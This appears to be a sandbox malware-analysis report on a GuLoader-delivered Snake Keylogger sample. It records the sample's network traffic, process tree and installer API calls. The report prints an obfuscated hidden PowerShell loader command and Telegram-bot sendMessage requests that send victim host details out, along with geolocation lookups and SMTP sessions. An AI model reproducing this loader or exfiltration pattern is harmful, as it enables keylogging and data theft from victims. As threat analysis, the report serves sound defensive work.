Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50016	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:14 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:15 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31691 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HyVk8iIQK%2FrmoOsIv7SZhmI60dfLcneURxNl96jJ2QlzdwJKw9pUR1un7XwJ%2BdvtBs4UHJal9TWZLBTlEZwIZNiGyteZdoCHPijS8sd089wQWqxrqD4q5rwfrTWfSPpui6cYdBLS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14c9cabee9a4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1159&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2333601&cwnd=251&unsent_bytes=0&cid=d0f90790ee196b7e&ts=183&x=0"
2024-10-22 14:12:15 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50017	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:15 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:15 UTC	902	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31691 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2FB6DQ1jGAR67Tj6tO8K7k9SPs1HIbBec5H1d%2FgrlMsaAqQ%2Bw0mcFewK7baBBzROq7PSReY3Nj3H3aH%2F%2FfQtafuV82UDLJVqLMQdBvZH4qtOSptg9rLSqZp7joI%2FC2%2BohGUpzHPw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14ce0b5c0bc4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1876&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1778869&cwnd=245&unsent_bytes=0&cid=c75cf867ac92b266&ts=155&x=0"
2024-10-22 14:12:15 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50020	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:16 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:16 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31692 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D08n6FTGUGoX1fwpKPZZ3ZEbwoVFmUSowimSYEdaNBIYXpNstxcA7cNu5UW79XvFRWxe9Ap0cjbEt04RsFlamwbiSEub6mpUvzMZXBCu7SZY8V47T8JLTGtx4zog1rmPjF56R%2F77"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14d469dce98f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1220&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2360228&cwnd=40&unsent_bytes=0&cid=955fe602a91f23b4&ts=183&x=0"
2024-10-22 14:12:16 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50021	188.114.97.3	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:17 UTC	63	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-22 14:12:17 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31693 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2F8iJxIrAqEVGfXhIQWxvN4AN7bi56d36Foimlfpv55%2BBZN85tonoV2hitoNHsUftnKFcpMTcZK%2FomESicRPUyLkHoKYHjOrCLhmct%2FPU4Jn3SWnX4qXIADMKBxGLTDJTFDtmHFP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14d84a26e9b5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1691588&cwnd=251&unsent_bytes=0&cid=9eae4b8647486528&ts=166&x=0"
2024-10-22 14:12:17 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50024	188.114.97.3	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:18 UTC	87	OUT	GET /xml/173.254.250.76 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-22 14:12:18 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:12:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 31694 Last-Modified: Tue, 22 Oct 2024 05:24:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LrsUwXuwzFmrcGqSTiH3DJl5kQpdu9%2BwmRHUOQpANt0kduIUFrVeU8QPitspJNZNDMNqxOkupjEza1YrXttAh14QWNBNK0jOIE5b0jVNxtFBePA%2FYk%2FZJ1OCxhWAw2wxeWWInCEj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6a14de7caf3476-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1118&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2371826&cwnd=251&unsent_bytes=0&cid=42c10a61516b9f49&ts=152&x=0"
2024-10-22 14:12:18 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.76</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-22 14:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50023	149.154.167.220	443	4460	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:18 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:39%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-22 14:12:18 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 22 Oct 2024 14:12:18 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-22 14:12:18 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50025	149.154.167.220	443	3212	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 14:12:19 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-22 14:12:19 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 22 Oct 2024 14:12:19 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-22 14:12:19 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 22, 2024 16:12:28.396909952 CEST	587	50027	213.165.67.102	192.168.2.6	220 kundenserver.de (mreue012) Nemesis ESMTP Service ready
Oct 22, 2024 16:12:28.397146940 CEST	50027	587	192.168.2.6	213.165.67.102	EHLO 760639
Oct 22, 2024 16:12:28.397206068 CEST	587	50028	213.165.67.102	192.168.2.6	220 kundenserver.de (mreue011) Nemesis ESMTP Service ready
Oct 22, 2024 16:12:28.397525072 CEST	50028	587	192.168.2.6	213.165.67.102	EHLO 760639
Oct 22, 2024 16:12:28.674257040 CEST	587	50027	213.165.67.102	192.168.2.6	250-kundenserver.de Hello 760639 [173.254.250.76] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Oct 22, 2024 16:12:28.677109003 CEST	587	50028	213.165.67.102	192.168.2.6	250-kundenserver.de Hello 760639 [173.254.250.76] 250-8BITMIME 250-SIZE 141557760 250 STARTTLS
Oct 22, 2024 16:12:28.752207994 CEST	50027	587	192.168.2.6	213.165.67.102	STARTTLS
Oct 22, 2024 16:12:28.752315998 CEST	50028	587	192.168.2.6	213.165.67.102	STARTTLS
Oct 22, 2024 16:12:28.997915030 CEST	587	50027	213.165.67.102	192.168.2.6	220 OK
Oct 22, 2024 16:12:28.999497890 CEST	587	50028	213.165.67.102	192.168.2.6	220 OK

Target ID:	0
Start time:	10:10:30
Start date:	22/10/2024
Path:	C:\Users\user\Desktop\Sprawl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Sprawl.exe"
Imagebase:	0x400000
File size:	880'264 bytes
MD5 hash:	47FD98348B7D314E4E9DAE46E5F1E1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:10:32
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
Imagebase:	0xcb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2786477517.000000000B78B000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:10:33
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:10:37
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
Imagebase:	0xcb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.2855794933.000000000B95D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 4052, Parent PID: 3796

General

Target ID:	5
Start time:	10:10:37
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:11:31
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x640000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000002.3358316175.0000000005B30000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:11:31
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x640000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000009.00000002.3358056875.0000000006390000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	26.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.3%
Total number of Nodes:	1256
Total number of Limit Nodes:	42

Executed Functions

Function 0040310F Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403134
GetVersion.KERNEL32 ref: 0040313A
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403163
#17.COMCTL32(00000007,00000009), ref: 00403185
OleInitialize.OLE32(00000000), ref: 0040318C
SHGetFileInfoA.SHELL32(00428828,00000000,?,00000160,00000000), ref: 004031A8
GetCommandLineA.KERNEL32(Vulkanbyernes Setup,NSIS Error), ref: 004031BD
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Sprawl.exe",00000000), ref: 004031D0
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Sprawl.exe",00000020), ref: 004031FB
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004032F8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403309
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403315
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403329
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403331
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403342
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040334A
DeleteFileA.KERNELBASE(1033), ref: 0040335E

Part of subcall function 004060C8: GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
Part of subcall function 004060C8: GetProcAddress.KERNEL32(00000000,?), ref: 004060F5

OleUninitialize.OLE32(?), ref: 0040340C
ExitProcess.KERNEL32 ref: 0040342D
GetCurrentProcess.KERNEL32(00000028,?), ref: 0040354A
OpenProcessToken.ADVAPI32(00000000), ref: 00403551
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403569
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403588
ExitWindowsEx.USER32(00000002,80040002), ref: 004035AC
ExitProcess.KERNEL32 ref: 004035CF

Part of subcall function 00405525: MessageBoxIndirectA.USER32(00409218), ref: 00405580

Strings

TMP, xrefs: 00403345
TEMP, xrefs: 0040333D
Vulkanbyernes Setup, xrefs: 004031B3
C:\Users\user\Desktop\Sprawl.exe, xrefs: 004034EA
UXTHEME, xrefs: 00403157, 0040315C, 00403162
"C:\Users\user\Desktop\Sprawl.exe", xrefs: 004031C3, 004031C9, 00403382
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 004032DD, 004033DE, 00403488, 00403491
C:\Users\user\Desktop, xrefs: 0040345F, 00403464, 00403490
", xrefs: 00403220
`K$v, xrefs: 00403336
C:\Users\user\AppData\Local\Temp\, xrefs: 004032ED, 004032F2, 00403308, 00403314, 00403323, 00403330, 0040333C, 00403344, 0040343D, 0040344E, 00403459, 00403465, 00403472, 00403481, 00403530
\Temp, xrefs: 0040330F
~nsu, xrefs: 00403438
SeShutdownPrivilege, xrefs: 00403563
NSIS Error, xrefs: 004031AE
Low, xrefs: 0040332B
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 004033E9
Error launching installer, xrefs: 004033C4
1033, xrefs: 00403359
.tmp, xrefs: 00403454

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
